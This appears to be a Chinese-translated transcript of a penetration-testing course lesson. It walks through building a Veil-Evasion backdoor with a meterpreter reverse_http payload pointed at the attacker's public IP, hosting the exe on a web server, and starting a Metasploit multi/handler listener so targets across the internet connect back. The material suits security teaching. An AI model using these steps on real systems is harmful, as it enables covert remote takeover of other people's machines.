教育家：好的,
现在我们继续｡
让我们创建一个后门, 唯一的区别是我们要将IP设置为公共IP,
而不是本地IP, 因此我们要创建一个后门,
其方式与我们在同一网络中攻击设备时创建后门的方式完全相同｡
我会使用面纱回避, 我会做得快一点, 因为我们已经做过了,
没有什么新的东西, 所以我们可以列出看看我们有什么｡
我将使用数字9, 因此它与我们在上一个视频中使用的有效载荷完全相同｡
这是反向http负载｡
所以我们使用9,
我们可以在这里看到选项｡
我们可以看到, LPORT默认设置为8080,
我将保持不变｡
我唯一要更改的是LHOST, 在之前的视频中, 当我们在自己的计算机上接收连接时, 我们通常将其设置为本地IP,
因此, 如果我执行ifconfig wlan0, 我们通常将其设置为192｡
168. 0. 1,
因为这是设备在网络内部使用的IP｡
只要您想在外部执行操作, 我们就希望使用真实的IP,
因为这些内部IP对于网络外部的计算机是不可见的｡
我将使用在Google上看到的IP,
当我输入“what's my
ip”时, 我将获得此IP, 并将其用作后门中的LHOST,
因此我将复制此IP并在此处进行设置｡
抱歉我没把它贴好, 就这样定了｡
点击“info”以确保所有内容都设置正确,
因此端口8080使用的是公共IP, 这是最重要的一步,
然后我们将执行“generate”｡
我们就称之为“后门肮脏”｡ exe '的名称｡
你要按回车键｡
这就产生了我的有效载荷, 所以它存储在这里｡
像往常一样,
我会把它复制并粘贴到我的var
www html中, 然后我会告诉你们如何从网络外的互联网上下载它.
我把它复制到我的Web服务器目录下｡
好了,
都搞定了｡
现在我们要做的就是监听传入的连接｡
我们将使用multi/handler来执行此操作,
我们以前也执行过此操作｡
我很快就好｡
当我要侦听multi/handler时,
实际上我要侦听本地IP, 因此我不会侦听外部IP,
我要侦听本地IP, 因为我无法侦听外部IP｡
我实际上是在网络中,
我只能控制我当前的计算机｡
我现在要做的是, 在Kali计算机中侦听端口8080,
在外部设备中, 后门将尝试连接到后门, 在此之后的步骤中, 我们将设置IP转发, 以允许告诉路由器将端口8080转发到Kali计算机, 但首先我们需要侦听Kali计算机中的端口8080,
我们将使用multi/handler来完成此操作｡
所以我只做msfconsole｡
再说一次, 我们之前已经做过了,
所以我会稍微快一点｡
因此, 我将“使用exploit/multi/handler”｡
我会将有效负载设置为windows/meterpreter/reverse_http｡
然后, 我们将LPORT设置为8080, 这是我们要建立连接的端口, 然后我将LHOST（侦听主机）设置为我的专用IP,
如前所述, 因此我将"将LHOST设置为192“｡
168. 0. 11'.
现在, 我将执行“show options”以确保所有操作都正确执行, 我们可以看到LPORT设置为8080,
本地主机设置为192｡
168. 0. 11中,
我们使用的是windows/meterpreter/reverse_http的有效负载｡
所以一切都很好｡
我要去做“剥削”｡
如您所见,
它侦听我的私有IP和端口8080｡
现在, 我们完成了两个主要步骤：我们创建了一个后门程序,
后门程序将根据真实的IP地址返回连接, 我们将监听本地计算机｡
我们正在监听Kali机器的8080端口｡
因此, 当目标用户在互联网上运行后门程序时,
后门程序将尝试连接到端口8080上的IP｡
现在唯一的问题是网关,
也就是路由器｡
它没有打开端口8080, 因此它将接收连接｡
它不知道该怎么处理它, 所以我们需要配置路由器,
告诉它无论何时你得到了什么,
无论何时你在端口8080上得到了一个连接,
我希望你把它重定向到我的Kali机器｡
我们可以用两种方式来做,
我们会在下一节课中讨论｡